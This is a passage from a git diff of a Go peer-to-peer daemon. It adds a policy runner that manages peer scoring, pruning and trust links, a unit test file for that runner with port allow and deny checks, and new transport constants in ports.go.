time.Now() + for _, c := range candidates[:count] { + pr.peers[c.id] = &managedPeer{NodeID: c.id, AddedAt: now, Tags: c.tags} + } + if count > 0 { + slog.Info("policy: filled peers", "network_id", pr.netID, "count", count, "rule", d.Rule) + } +} + +func (pr *PolicyRunner) executeLog(d policy.Directive) { + msg, _ := d.Params["message"].(string) + level, _ := d.Params["level"].(string) + switch level { + case "warn": + slog.Warn("policy: "+msg, "network_id", pr.netID, "rule", d.Rule) + default: + slog.Info("policy: "+msg, "network_id", pr.netID, "rule", d.Rule) + } +} + +func (pr *PolicyRunner) executeWebhook(d policy.Directive) { + event, _ := d.Params["event"].(string) + data, _ := d.Params["data"].(map[string]interface{}) + if data == nil { + data = map[string]interface{}{} + } + data["network_id"] = pr.netID + data["rule"] = d.Rule + pr.daemon.webhook.Emit("policy."+event, data) +} + +func (pr *PolicyRunner) executePruneTrust(d policy.Directive) { + percent := paramInt(d.Params, "percent") + minLinks := paramInt(d.Params, "min") + by, _ := d.Params["by"].(string) + if by == "" { + by = "score" + } + + trusted := pr.daemon.handshakes.TrustedPeers() + total := len(trusted) + if total <= minLinks { + return + } + + toRemove := total * percent / 100 + if toRemove == 0 { + toRemove = 1 + } + if total-toRemove < minLinks { + toRemove = total - minLinks + } + if toRemove <= 0 { + return + } + + ranked := pr.rankTrustLinks(trusted, by) + pruned := 0 + for i := 0; i < toRemove && i < len(ranked); i++ { + if err := pr.daemon.handshakes.RevokeTrust(ranked[i].NodeID); err != nil { + slog.Warn("policy: prune_trust revoke failed", "node_id", ranked[i].NodeID, "err", err) + continue + } + pruned++ + } + if pruned > 0 { + slog.Info("policy: pruned trust links", "network_id", pr.netID, "count", pruned, "rule", d.Rule) + pr.daemon.webhook.Emit("policy.prune_trust", map[string]interface{}{ + "network_id": pr.netID, + "rule": d.Rule, + "pruned": pruned, + }) + } +} + +func (pr *PolicyRunner) rankTrustLinks(records []TrustRecord, by string) []TrustRecord { + ranked := make([]TrustRecord, len(records)) + copy(ranked, records) + + switch by { + case "score": + pr.mu.RLock() + defer pr.mu.RUnlock() + sort.Slice(ranked, func(i, j int) bool { + si, oki := pr.peers[ranked[i].NodeID] + sj, okj := pr.peers[ranked[j].NodeID] + scoreI := -(1 << 30) + scoreJ := -(1 << 30) + if oki { + scoreI = si.Score + } + if okj { + scoreJ = sj.Score + } + return scoreI < scoreJ + }) + case "age": + sort.Slice(ranked, func(i, j int) bool { + return ranked[i].ApprovedAt.Before(ranked[j].ApprovedAt) + }) + case "random": + rand.Shuffle(len(ranked), func(i, j int) { + ranked[i], ranked[j] = ranked[j], ranked[i] + }) + } + return ranked +} + +func (pr *PolicyRunner) executeFillTrust(d policy.Directive) { + target := paramInt(d.Params, "target") + + trusted := pr.daemon.handshakes.TrustedPeers() + current := len(trusted) + deficit := target - current + if deficit <= 0 { + return + } + + trustedSet := make(map[uint32]bool, len(trusted)) + for _, t := range trusted { + trustedSet[t.NodeID] = true + } + + fetched := pr.fetchMembersWithTags() + if fetched == nil { + slog.Warn("policy: fill_trust failed (member list)", "network_id", pr.netID) + return + } + + myID := pr.daemon.NodeID() + var candidates []uint32 + for _, f := range fetched { + if f.ID == myID || trustedSet[f.ID] { + continue + } + candidates = append(candidates, f.ID) + } + + rand.Shuffle(len(candidates), func(i, j int) { + candidates[i], candidates[j] = candidates[j], candidates[i] + }) + + if deficit > len(candidates) { + deficit = len(candidates) + } + + sent := 0 + for _, nodeID := range candidates[:deficit] { + if err := pr.daemon.handshakes.SendRequest(nodeID, "trust-decay policy"); err != nil { + slog.Warn("policy: fill_trust request failed", "node_id", nodeID, "err", err) + continue + } + sent++ + } + if sent > 0 { + slog.Info("policy: sent trust requests", "network_id", pr.netID, "count", sent, "rule", d.Rule) + pr.daemon.webhook.Emit("policy.fill_trust", map[string]interface{}{ + "network_id": pr.netID, + "rule": d.Rule, + "sent": sent, + }) + } +} + +// --- Cycle loop --- + +func (pr *PolicyRunner) cycleLoop() { + defer close(pr.done) + + // Always bootstrap from registry to refresh peer list and tags. + // Persisted state preserves scores/history, but membership and tags + // may have changed since last run. + if err := pr.bootstrap(); err != nil { + slog.Warn("policy: bootstrap failed", "network_id", pr.netID, "err", err) + } + + cycleStr, _ := pr.compiled.CycleDuration() + if cycleStr == "" { + // No cycle configured — just idle until stopped + <-pr.stopCh + return + } + + cycleDur, err := time.ParseDuration(cycleStr) + if err != nil || cycleDur < time.Minute { + cycleDur = 24 * time.Hour + } + + ticker := time.NewTicker(cycleDur) + defer ticker.Stop() + + for { + select { + case <-ticker.C: + pr.runCycle() + case <-pr.stopCh: + return + } + } +} + +func (pr *PolicyRunner) runCycle() map[string]interface{} { + pr.mu.Lock() + pr.cycleNum++ + peerCount := len(pr.peers) + cycleNum := pr.cycleNum + pr.mu.Unlock() + + trustedCount := len(pr.daemon.handshakes.TrustedPeers()) + + ctx := map[string]interface{}{ + "network_id": int(pr.netID), + "members": peerCount, + "peer_count": peerCount, + "cycle_num": cycleNum, + "trusted_count": trustedCount, + } + + pr.EvaluateActions(policy.EventCycle, ctx) + + pr.persist() + + pr.mu.RLock() + finalPeers := len(pr.peers) + pr.mu.RUnlock() + + result := map[string]interface{}{ + "network_id": pr.netID, + "cycle_num": cycleNum, + "peers": finalPeers, + } + + slog.Info("policy: cycle complete", "network_id", pr.netID, "cycle_num", cycleNum, "peers", finalPeers) + pr.daemon.webhook.Emit("policy.cycle", result) + + return result +} + +// --- Peer state methods (compatibility with ManagedEngine interface) --- + +// Score adjusts a peer's score by delta. Optional topic scoping. +func (pr *PolicyRunner) Score(nodeID uint32, delta int, topic string) error { + pr.mu.Lock() + defer pr.mu.Unlock() + + p, ok := pr.peers[nodeID] + if !ok { + return fmt.Errorf("peer %d not in policy set for network %d", nodeID, pr.netID) + } + + p.Score += delta + p.LastSeen = time.Now() + if topic != "" { + if p.Topics == nil { + p.Topics = make(map[string]int) + } + p.Topics[topic] += delta + } + return nil +} + +// Status returns a summary of the policy runner state. +func (pr *PolicyRunner) Status() map[string]interface{} { + pr.mu.RLock() + defer pr.mu.RUnlock() + + status := map[string]interface{}{ + "network_id": pr.netID, + "peers": len(pr.peers), + "cycle_num": pr.cycleNum, + "joined_at": pr.joinedAt.Format(time.RFC3339), + "engine": "policy", + } + + cycle, _ := pr.compiled.CycleDuration() + if cycle != "" { + status["cycle"] = cycle + } + if mp := pr.compiled.MaxPeers(); mp > 0 { + status["max_peers"] = mp + } + return status +} + +// Rankings returns all managed peers sorted by score descending. +func (pr *PolicyRunner) Rankings() []map[string]interface{} { + pr.mu.RLock() + defer pr.mu.RUnlock() + + type entry struct { + peer *managedPeer + } + var entries []entry + for _, p := range pr.peers { + entries = append(entries, entry{peer: p}) + } + sort.Slice(entries, func(i, j int) bool { + return entries[i].peer.Score > entries[j].peer.Score + }) + + result := make([]map[string]interface{}, 0, len(entries)) + for rank, e := range entries { + m := map[string]interface{}{ + "rank": rank + 1, + "node_id": e.peer.NodeID, + "score": e.peer.Score, + "added_at": e.peer.AddedAt.Format(time.RFC3339), + } + if !e.peer.LastSeen.IsZero() { + m["last_seen"] = e.peer.LastSeen.Format(time.RFC3339) + } + if len(e.peer.Topics) > 0 { + m["topics"] = e.peer.Topics + } + if len(e.peer.Tags) > 0 { + m["tags"] = e.peer.Tags + } + result = append(result, m) + } + return result +} + +// ForceCycle runs a cycle immediately. +func (pr *PolicyRunner) ForceCycle() map[string]interface{} { + return pr.runCycle() +} + +// --- Internal helpers --- + +func (pr *PolicyRunner) bootstrap() error { + fetched := pr.fetchMembersWithTags() + if fetched == nil { + return fmt.Errorf("policy bootstrap: failed to fetch members") + } + + // Build tag lookup for candidates + tagMap := make(map[uint32][]string, len(fetched)) + myID := pr.daemon.NodeID() + var candidates []uint32 + for _, f := range fetched { + tagMap[f.ID] = f.Tags + if f.ID != myID { + candidates = append(candidates, f.ID) + } + } + + rand.Shuffle(len(candidates), func(i, j int) { + candidates[i], candidates[j] = candidates[j], candidates[i] + }) + + maxPeers := pr.compiled.MaxPeers() + limit := len(candidates) + if maxPeers > 0 && limit > maxPeers { + limit = maxPeers + } + + pr.mu.Lock() + now := time.Now() + for _, id := range candidates[:limit] { + if _, exists := pr.peers[id]; !exists { + pr.peers[id] = &managedPeer{NodeID: id, AddedAt: now, Tags: tagMap[id]} + } else { + pr.peers[id].Tags = tagMap[id] + } + } + peerCount := len(pr.peers) + pr.mu.Unlock() + + pr.persist() + slog.Info("policy: bootstrapped", "network_id", pr.netID, "peers", peerCount, "available", len(candidates)) + return nil +} + +// fetchedMember holds a member's ID and admin-assigned tags from ListNodes. +type fetchedMember struct { + ID uint32 + Tags []string +} + +func (pr *PolicyRunner) fetchMembers() ([]uint32, error) { + fetched := pr.fetchMembersWithTags() + ids := make([]uint32, len(fetched)) + for i, f := range fetched { + ids[i] = f.ID + } + return ids, nil +} + +// fetchMembersWithTags returns member IDs and their admin-assigned tags. +// Also updates the daemon's local member tags cache for the local node. +func (pr *PolicyRunner) fetchMembersWithTags() []fetchedMember { + resp, err := pr.daemon.regConn.ListNodes(pr.netID, pr.daemon.config.AdminToken) + if err != nil { + slog.Warn("policy: fetchMembers failed", "network_id", pr.netID, "err", err) + return nil + } + + nodesRaw, ok := resp["nodes"].([]interface{}) + if !ok { + return nil + } + + myID := pr.daemon.NodeID() + var members []fetchedMember + for _, n := range nodesRaw { + m, ok := n.(map[string]interface{}) + if !ok { + continue + } + id, ok := m["node_id"].(float64) + if !ok { + continue + } + nodeID := uint32(id) + var tags []string + if rawTags, ok := m["member_tags"].([]interface{}); ok { + for _, rt := range rawTags { + if t, ok := rt.(string); ok { + tags = append(tags, t) + } + } + } + members = append(members, fetchedMember{ID: nodeID, Tags: tags}) + + // Cache local node's member tags on the daemon + if nodeID == myID { + pr.daemon.SetMemberTags(pr.netID, tags) + } + } + return members +} + +func (pr *PolicyRunner) rankedPeers(by string) []*managedPeer { + peers := make([]*managedPeer, 0, len(pr.peers)) + for _, p := range pr.peers { + peers = append(peers, p) + } + + switch by { + case "score": + sort.Slice(peers, func(i, j int) bool { + return peers[i].Score < peers[j].Score + }) + case "age": + sort.Slice(peers, func(i, j int) bool { + return peers[i].AddedAt.Before(peers[j].AddedAt) + }) + case "activity": + sort.Slice(peers, func(i, j int) bool { + return peers[i].LastSeen.Before(peers[j].LastSeen) + }) + } + return peers +} + +func (pr *PolicyRunner) persist() { + pr.mu.RLock() + snap := policySnapshot{ + NetworkID: pr.netID, + Peers: pr.peers, + JoinedAt: pr.joinedAt.Format(time.RFC3339), + CycleNum: pr.cycleNum, + } + pr.mu.RUnlock() + + data, err := json.MarshalIndent(snap, "", " ") + if err != nil { + slog.Warn("policy: persist marshal failed", "network_id", pr.netID, "err", err) + return + } + + dir := filepath.Dir(pr.path) + os.MkdirAll(dir, 0700) + + if err := fsutil.AtomicWrite(pr.path, data); err != nil { + slog.Warn("policy: persist write failed", "network_id", pr.netID, "err", err) + } +} + +func (pr *PolicyRunner) load() error { + data, err := os.ReadFile(pr.path) + if err != nil { + return err + } + + var snap policySnapshot + if err := json.Unmarshal(data, &snap); err != nil { + return err + } + + pr.peers = snap.Peers + if pr.peers == nil { + pr.peers = make(map[uint32]*managedPeer) + } + pr.cycleNum = snap.CycleNum + if t, err := time.Parse(time.RFC3339, snap.JoinedAt); err == nil { + pr.joinedAt = t + } + + slog.Info("policy: loaded persisted state", "network_id", pr.netID, "peers", len(pr.peers)) + return nil +} + +// --- helpers --- + +func paramInt(params map[string]interface{}, key string) int { + v, ok := params[key] + if !ok { + return 0 + } + switch n := v.(type) { + case float64: + return int(n) + case int: + return n + case int64: + return int(n) + } + return 0 +} + +// Tag helpers on managedPeer + +func (p *managedPeer) tags() []string { + if p.Tags == nil { + return []string{} + } + return p.Tags +} + +func (p *managedPeer) addTag(tag string) { + for _, t := range p.Tags { + if t == tag { + return + } + } + p.Tags = append(p.Tags, tag) +} + +func (p *managedPeer) removeTag(tag string) { + for i, t := range p.Tags { + if t == tag { + p.Tags = append(p.Tags[:i], p.Tags[i+1:]...) + return + } + } +} diff --git a/pkg/daemon/policy_runner_test.go b/pkg/daemon/policy_runner_test.go new file mode 100644 index 00000000..b388d86d --- /dev/null +++ b/pkg/daemon/policy_runner_test.go @@ -0,0 +1,570 @@ +package daemon + +import ( + "encoding/json" + "os" + "path/filepath" + "testing" + "time" + + "github.com/TeoSlayer/pilotprotocol/pkg/policy" +) + +func testPolicy() *policy.PolicyDocument { + return &policy.PolicyDocument{ + Version: 1, + Config: map[string]interface{}{ + "max_peers": 10, + "cycle": "1h", + }, + Rules: []policy.Rule{ + {Name: "allow-80", On: "connect", Match: "port == 80", Actions: []policy.Action{{Type: policy.ActionAllow}}}, + {Name: "deny-all", On: "connect", Match: "true", Actions: []policy.Action{{Type: policy.ActionDeny}}}, + {Name: "score-data", On: "datagram", Match: "size > 0", Actions: []policy.Action{ + {Type: policy.ActionScore, Params: map[string]interface{}{"delta": 1, "topic": "activity"}}, + }}, + {Name: "cycle-prune-fill", On: "cycle", Match: "true", Actions: []policy.Action{ + {Type: policy.ActionPrune, Params: map[string]interface{}{"count": 2, "by": "score"}}, + }}, + }, + } +} + +func compileTestPolicy(t *testing.T) *policy.CompiledPolicy { + t.Helper() + cp, err := policy.Compile(testPolicy()) + if err != nil { + t.Fatal(err) + } + return cp +} + +func TestPolicyRunnerScore(t *testing.T) { + t.Parallel() + cp := compileTestPolicy(t) + + pr := &PolicyRunner{ + netID: 1, + compiled: cp, + peers: map[uint32]*managedPeer{ + 100: {NodeID: 100, AddedAt: time.Now()}, + 200: {NodeID: 200, AddedAt: time.Now()}, + }, + } + + if err := pr.Score(100, 5, ""); err != nil { + t.Fatalf("Score() error: %v", err) + } + if pr.peers[100].Score != 5 { + t.Errorf("Score = %d, want 5", pr.peers[100].Score) + } + + if err := pr.Score(100, -2, "quality"); err != nil { + t.Fatalf("Score() error: %v", err) + } + if pr.peers[100].Score != 3 { + t.Errorf("Score = %d, want 3", pr.peers[100].Score) + } + if pr.peers[100].Topics["quality"] != -2 { + t.Errorf("Topic score = %d, want -2", pr.peers[100].Topics["quality"]) + } + + // Score non-existent peer + if err := pr.Score(999, 1, ""); err == nil { + t.Fatal("expected error for non-existent peer") + } +} + +func TestPolicyRunnerRankings(t *testing.T) { + t.Parallel() + cp := compileTestPolicy(t) + + pr := &PolicyRunner{ + netID: 1, + compiled: cp, + peers: map[uint32]*managedPeer{ + 100: {NodeID: 100, Score: 10, AddedAt: time.Now()}, + 200: {NodeID: 200, Score: 50, AddedAt: time.Now(), Tags: []string{"elite"}}, + 300: {NodeID: 300, Score: 30, AddedAt: time.Now()}, + }, + } + + rankings := pr.Rankings() + if len(rankings) != 3 { + t.Fatalf("Rankings() = %d entries, want 3", len(rankings)) + } + + // Check descending score order: 200 (50) > 300 (30) > 100 (10) + if rankings[0]["node_id"] != uint32(200) { + t.Errorf("rank 1 = node %v, want 200", rankings[0]["node_id"]) + } + if rankings[1]["node_id"] != uint32(300) { + t.Errorf("rank 2 = node %v, want 300", rankings[1]["node_id"]) + } + if rankings[2]["node_id"] != uint32(100) { + t.Errorf("rank 3 = node %v, want 100", rankings[2]["node_id"]) + } + + // Tags should be included + tags, ok := rankings[0]["tags"] + if !ok { + t.Error("expected tags field on ranked peer 200") + } + tagSlice, _ := tags.([]string) + if len(tagSlice) != 1 || tagSlice[0] != "elite" { + t.Errorf("tags = %v, want [elite]", tags) + } +} + +func TestPolicyRunnerStatus(t *testing.T) { + t.Parallel() + cp := compileTestPolicy(t) + + pr := &PolicyRunner{ + netID: 1, + compiled: cp, + peers: map[uint32]*managedPeer{100: {NodeID: 100}}, + joinedAt: time.Now(), + cycleNum: 3, + } + + status := pr.Status() + if status["network_id"] != uint16(1) { + t.Errorf("network_id = %v, want 1", status["network_id"]) + } + if status["peers"] != 1 { + t.Errorf("peers = %v, want 1", status["peers"]) + } + if status["engine"] != "policy" { + t.Errorf("engine = %v, want 'policy'", status["engine"]) + } + if status["cycle_num"] != 3 { + t.Errorf("cycle_num = %v, want 3", status["cycle_num"]) + } + if status["cycle"] != "1h" { + t.Errorf("cycle = %v, want '1h'", status["cycle"]) + } + if status["max_peers"] != 10 { + t.Errorf("max_peers = %v, want 10", status["max_peers"]) + } +} + +func TestPolicyRunnerEvaluateGate(t *testing.T) { + t.Parallel() + cp := compileTestPolicy(t) + + pr := &PolicyRunner{ + netID: 1, + compiled: cp, + peers: map[uint32]*managedPeer{}, + } + + // Port 80 should be allowed + allowed := pr.EvaluateGate(policy.EventConnect, map[string]interface{}{ + "port": 80, "peer_id": 1, "network_id": 1, + "peer_score": 0, "peer_tags": []string{}, "peer_age_s": 0.0, "members": 0, + }) + if !allowed { + t.Fatal("expected port 80 to be allowed") + } + + // Port 22 should be denied + denied := pr.EvaluateGate(policy.EventConnect, map[string]interface{}{ + "port": 22, "peer_id": 1, "network_id": 1, + "peer_score": 0, "peer_tags": []string{}, "peer_age_s": 0.0, "members": 0, + }) + if denied { + t.Fatal("expected port 22 to be denied") + } +} + +func TestPolicyRunnerEvaluateGateWithScoring(t *testing.T) { + t.Parallel() + + // Policy that scores on datagram and allows all + doc := &policy.PolicyDocument{ + Version: 1, + Rules: []policy.Rule{ + {Name: "score", On: "datagram", Match: "size > 0", Actions: []policy.Action{ + {Type: policy.ActionScore, Params: map[string]interface{}{"delta": 5, "topic": "data"}}, + }}, + }, + } + cp, err := policy.Compile(doc) + if err != nil { + t.Fatal(err) + } + + pr := &PolicyRunner{ + netID: 1, + compiled: cp, + peers: map[uint32]*managedPeer{42: {NodeID: 42, AddedAt: time.Now()}}, + } + + // EvaluateGate for datagram should auto-score the peer + allowed := pr.EvaluateGate(policy.EventDatagram, map[string]interface{}{ + "port": 1001, "peer_id": 42, "network_id": 1, "size": 100, "direction": "in", + }) + if !allowed { + t.Fatal("expected default allow (no deny rule)") + } + + // Check that scoring happened + pr.mu.RLock() + p := pr.peers[42] + pr.mu.RUnlock() + + if p.Score != 5 { + t.Errorf("score = %d, want 5 (side-effect scoring)", p.Score) + } + if p.Topics["data"] != 5 { + t.Errorf("topic 'data' = %d, want 5", p.Topics["data"]) + } +} + +func TestPolicyRunnerExecutePrune(t *testing.T) { + t.Parallel() + cp := compileTestPolicy(t) + + now := time.Now() + pr := &PolicyRunner{ + netID: 1, + compiled: cp, + peers: map[uint32]*managedPeer{ + 100: {NodeID: 100, Score: 10, AddedAt: now}, + 200: {NodeID: 200, Score: 50, AddedAt: now}, + 300: {NodeID: 300, Score: 30, AddedAt: now}, + 400: {NodeID: 400, Score: 5, AddedAt: now}, + 500: {NodeID: 500, Score: 20, AddedAt: now}, + }, + } + + pr.executePrune(policy.Directive{ + Type: policy.DirectivePrune, + Rule: "test", + Params: map[string]interface{}{"count": 2, "by": "score"}, + }) + + // 400 (5) and 100 (10) should be pruned (lowest scores) + if _, exists := pr.peers[400]; exists { + t.Error("peer 400 (score=5) should have been pruned") + } + if _, exists := pr.peers[100]; exists { + t.Error("peer 100 (score=10) should have been pruned") + } + if len(pr.peers) != 3 { + t.Errorf("peers = %d, want 3", len(pr.peers)) + } +} + +func TestPolicyRunnerExecutePruneByAge(t *testing.T) { + t.Parallel() + cp := compileTestPolicy(t) + + now := time.Now() + pr := &PolicyRunner{ + netID: 1, + compiled: cp, + peers: map[uint32]*managedPeer{ + 100: {NodeID: 100, AddedAt: now.Add(-3 * time.Hour)}, + 200: {NodeID: 200, AddedAt: now.Add(-1 * time.Hour)}, + 300: {NodeID: 300, AddedAt: now}, + }, + } + + pr.executePrune(policy.Directive{ + Type: policy.DirectivePrune, + Rule: "test", + Params: map[string]interface{}{"count": 1, "by": "age"}, + }) + + if _, exists := pr.peers[100]; exists { + t.Error("peer 100 (oldest) should have been pruned") + } + if len(pr.peers) != 2 { + t.Errorf("peers = %d, want 2", len(pr.peers)) + } +} + +func TestPolicyRunnerExecuteEvictWhere(t *testing.T) { + t.Parallel() + + doc := &policy.PolicyDocument{ + Version: 1, + Rules: []policy.Rule{ + {Name: "evict-bad", On: "cycle", Match: "true", Actions: []policy.Action{ + {Type: policy.ActionEvictWhere, Params: map[string]interface{}{"match": "peer_score < -10"}}, + }}, + }, + } + cp, err := policy.Compile(doc) + if err != nil { + t.Fatal(err) + } + + now := time.Now() + pr := &PolicyRunner{ + netID: 1, + compiled: cp, + peers: map[uint32]*managedPeer{ + 100: {NodeID: 100, Score: -50, AddedAt: now}, + 200: {NodeID: 200, Score: 20, AddedAt: now}, + 300: {NodeID: 300, Score: -20, AddedAt: now}, + }, + } + + pr.executeEvictWhere(policy.Directive{ + Type: policy.DirectiveEvictWhere, + Rule: "evict-bad", + Params: map[string]interface{}{"match": "peer_score < -10"}, + }, 0) + + // Peers 100 (-50) and 300 (-20) should be evicted + if _, exists := pr.peers[100]; exists { + t.Error("peer 100 (score=-50) should have been evicted") + } + if _, exists := pr.peers[300]; exists { + t.Error("peer 300 (score=-20) should have been evicted") + } + if _, exists := pr.peers[200]; !exists { + t.Error("peer 200 (score=20) should remain") + } +} + +func TestPolicyRunnerExecuteTag(t *testing.T) { + t.Parallel() + cp := compileTestPolicy(t) + + pr := &PolicyRunner{ + netID: 1, + compiled: cp, + peers: map[uint32]*managedPeer{ + 100: {NodeID: 100, AddedAt: time.Now(), Tags: []string{"existing"}}, + }, + } + + // Add tags + pr.executeTag(policy.Directive{ + Type: policy.DirectiveTag, + Rule: "test", + Params: map[string]interface{}{"add": []interface{}{"new", "elite"}}, + }, map[string]interface{}{"peer_id": 100}) + + tags := pr.peers[100].Tags + if len(tags) != 3 { + t.Fatalf("tags = %v, want 3 tags", tags) + } + + // Remove tag + pr.executeTag(policy.Directive{ + Type: policy.DirectiveTag, + Rule: "test", + Params: map[string]interface{}{"remove": []interface{}{"existing"}}, + }, map[string]interface{}{"peer_id": 100}) + + tags = pr.peers[100].Tags + if len(tags) != 2 { + t.Fatalf("tags = %v, want 2 tags after removal", tags) + } + for _, tag := range tags { + if tag == "existing" { + t.Error("tag 'existing' should have been removed") + } + } +} + +func TestPolicyRunnerPersistAndLoad(t *testing.T) { + t.Parallel() + + cp := compileTestPolicy(t) + + dir := t.TempDir() + path := filepath.Join(dir, "policy_1.json") + + pr := &PolicyRunner{ + netID: 1, + compiled: cp, + joinedAt: time.Now().Truncate(time.Second), + cycleNum: 5, + peers: map[uint32]*managedPeer{ + 100: {NodeID: 100, Score: 42, Tags: []string{"elite"}, AddedAt: time.Now().Truncate(time.Second)}, + 200: {NodeID: 200, Score: -5, Topics: map[string]int{"quality": -5}, AddedAt: time.Now().Truncate(time.Second)}, + }, + path: path, + } + + pr.persist() + + // Verify file exists + if _, err := os.Stat(path); os.IsNotExist(err) { + t.Fatal("persist file should exist") + } + + // Load into a new runner + pr2 := &PolicyRunner{ + netID: 1, + compiled: cp, + peers: make(map[uint32]*managedPeer), + path: path, + } + if err := pr2.load(); err != nil { + t.Fatalf("load() error: %v", err) + } + + if len(pr2.peers) != 2 { + t.Errorf("loaded peers = %d, want 2", len(pr2.peers)) + } + if pr2.peers[100].Score != 42 { + t.Errorf("peer 100 score = %d, want 42", pr2.peers[100].Score) + } + if pr2.peers[100].Tags[0] != "elite" { + t.Errorf("peer 100 tags = %v, want [elite]", pr2.peers[100].Tags) + } + if pr2.peers[200].Topics["quality"] != -5 { + t.Errorf("peer 200 topic score = %d, want -5", pr2.peers[200].Topics["quality"]) + } + if pr2.cycleNum != 5 { + t.Errorf("cycleNum = %d, want 5", pr2.cycleNum) + } +} + +func TestPolicySnapshotJSON(t *testing.T) { + t.Parallel() + + snap := policySnapshot{ + NetworkID: 42, + Peers: map[uint32]*managedPeer{ + 100: {NodeID: 100, Score: 10, Tags: []string{"test"}}, + }, + JoinedAt: time.Now().Format(time.RFC3339), + CycleNum: 7, + } + + data, err := json.Marshal(snap) + if err != nil { + t.Fatalf("marshal error: %v", err) + } + + var loaded policySnapshot + if err := json.Unmarshal(data, &loaded); err != nil { + t.Fatalf("unmarshal error: %v", err) + } + + if loaded.NetworkID != 42 { + t.Errorf("NetworkID = %d, want 42", loaded.NetworkID) + } + if loaded.CycleNum != 7 { + t.Errorf("CycleNum = %d, want 7", loaded.CycleNum) + } + if loaded.Peers[100].Tags[0] != "test" { + t.Errorf("Tags = %v, want [test]", loaded.Peers[100].Tags) + } +} + +func TestManagedPeerTagHelpers(t *testing.T) { + t.Parallel() + + p := &managedPeer{NodeID: 1} + + // tags() on nil + if got := p.tags(); len(got) != 0 { + t.Errorf("tags() on nil = %v, want empty", got) + } + + // addTag + p.addTag("a") + p.addTag("b") + p.addTag("a") // duplicate + if len(p.Tags) != 2 { + t.Errorf("Tags = %v, want [a, b]", p.Tags) + } + + // removeTag + p.removeTag("a") + if len(p.Tags) != 1 || p.Tags[0] != "b" { + t.Errorf("Tags = %v, want [b]", p.Tags) + } + + // removeTag non-existent + p.removeTag("z") + if len(p.Tags) != 1 { + t.Errorf("Tags = %v, want [b]", p.Tags) + } +} + +func TestParamInt(t *testing.T) { + t.Parallel() + + tests := []struct { + name string + params map[string]interface{} + key string + want int + }{ + {"float64", map[string]interface{}{"count": 10.0}, "count", 10}, + {"int", map[string]interface{}{"count": 5}, "count", 5}, + {"missing", map[string]interface{}{}, "count", 0}, + {"nil params", nil, "count", 0}, + {"string value", map[string]interface{}{"count": "bad"}, "count", 0}, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + got := paramInt(tt.params, tt.key) + if got != tt.want { + t.Errorf("paramInt() = %d, want %d", got, tt.want) + } + }) + } +} + +func TestEvaluatePortPolicyWithRunner(t *testing.T) { + t.Parallel() + + cp := compileTestPolicy(t) + d := &Daemon{ + netPolicies: make(map[uint16][]uint16), + policyRunners: make(map[uint16]*PolicyRunner), + } + + pr := &PolicyRunner{ + netID: 1, + compiled: cp, + peers: map[uint32]*managedPeer{}, + } + d.policyRunners[1] = pr + + // Port 80 allowed by policy + if !d.evaluatePortPolicy(policy.EventConnect, 1, 80, 100, 0, "") { + t.Error("port 80 should be allowed by policy runner") + } + + // Port 22 denied by policy + if d.evaluatePortPolicy(policy.EventConnect, 1, 22, 100, 0, "") { + t.Error("port 22 should be denied by policy runner") + } + + // Network without runner falls back to legacy (no restrictions = allow all) + if !d.evaluatePortPolicy(policy.EventConnect, 99, 22, 100, 0, "") { + t.Error("port 22 on network 99 should be allowed (no policy, no port restriction)") + } +} + +func TestEvaluatePortPolicyFallbackToLegacy(t *testing.T) { + t.Parallel() + + d := &Daemon{ + netPolicies: map[uint16][]uint16{ + 2: {80, 443}, + }, + policyRunners: make(map[uint16]*PolicyRunner), + } + + // Network 2 has legacy port allowlist, no policy runner + if !d.evaluatePortPolicy(policy.EventConnect, 2, 80, 100, 0, "") { + t.Error("port 80 should be allowed by legacy allowlist") + } + if d.evaluatePortPolicy(policy.EventConnect, 2, 22, 100, 0, "") { + t.Error("port 22 should be denied by legacy allowlist") + } +} diff --git a/pkg/daemon/ports.go b/pkg/daemon/ports.go index fd85183c..cc4ce62d 100644 --- a/pkg/daemon/ports.go +++ b/pkg/daemon/ports.go @@ -8,7 +8,7 @@ import ( "sync" "time" - "web4/pkg/protocol" + "github.com/TeoSlayer/pilotprotocol/pkg/protocol" ) // SACKBlock represents a contiguous range of received bytes. @@ -76,7 +76,7 @@ type PortManager struct { } type Listener struct { - Port uint16 + Port uint16 AcceptCh chan *Connection } @@ -97,12 +97,22 @@ type recvSegment struct { // Default window parameters const ( - InitialCongWin = 10 * MaxSegmentSize // 40 KB initial congestion window (IW10, RFC 6928) - MaxCongWin = 1024 * 1024 // 1 MB max congestion window - MaxSegmentSize = 4096 // MTU for virtual segments - RecvBufSize = 512 // receive buffer channel capacity (segments) + InitialCongWin = 10 * MaxSegmentSize // 40 KB initial congestion window (IW10, RFC 6928) + MaxCongWin = 1024 * 1024 // 1 MB max congestion window + MaxSegmentSize = 4096 // MTU for virtual segments + RecvBufSize = 512 // receive buffer channel capacity (segments) MaxRecvWin = RecvBufSize * MaxSegmentSize // 2 MB max receive window - MaxOOOBuf = 128 // max out-of-order segments buffered per connection + MaxOOOBuf = 128 // max out-of-order segments buffered per connection + AcceptQueueLen = 64 // listener accept channel capacity + SendBufLen = 256 // send buffer channel capacity (segments) +) + +// RTO parameters (RFC 6298) +const ( + ClockGranularity = 10 * time.Millisecond // minimum RTTVAR for RTO calculation + RTOMin = 200 * time.Millisecond // minimum retransmission timeout + RTOMax = 10 * time.Second // maximum retransmission timeout + InitialRTO = 1 * time.Second // initial retransmission timeout ) type Connection struct { @@ -115,65 +125,65 @@ type Connection struct { State ConnState LastActivity time.Time // updated on send/recv // Reliable delivery - SendSeq uint32 - RecvAck uint32 - SendBuf chan []byte - RecvBuf chan []byte + SendSeq uint32 + RecvAck uint32 + SendBuf chan []byte + RecvBuf chan []byte // Sliding window + retransmission (send side) - RetxMu sync.Mutex - Unacked []*retxEntry // ordered by seq - LastAck uint32 // highest cumulative ACK received - DupAckCount int // consecutive duplicate ACKs - RTO time.Duration // retransmission timeout - SRTT time.Duration // smoothed RTT - RTTVAR time.Duration // RTT variance (RFC 6298) - CongWin int // congestion window in bytes - SSThresh int // slow-start threshold - InRecovery bool // true during timeout loss recovery - RecoveryPoint uint32 // highest seq sent when entering recovery - RetxStop chan struct{} // closed to stop retx goroutine - RetxSend func(*protocol.Packet) // callback to send retransmitted packets - WindowCh chan struct{} // signaled when window opens up - PeerRecvWin int // peer's advertised receive window (0 = unknown/unlimited) + RetxMu sync.Mutex + Unacked []*retxEntry // ordered by seq + LastAck uint32 // highest cumulative ACK received + DupAckCount int // consecutive duplicate ACKs + RTO time.Duration // retransmission timeout + SRTT time.Duration // smoothed RTT + RTTVAR time.Duration // RTT variance (RFC 6298) + 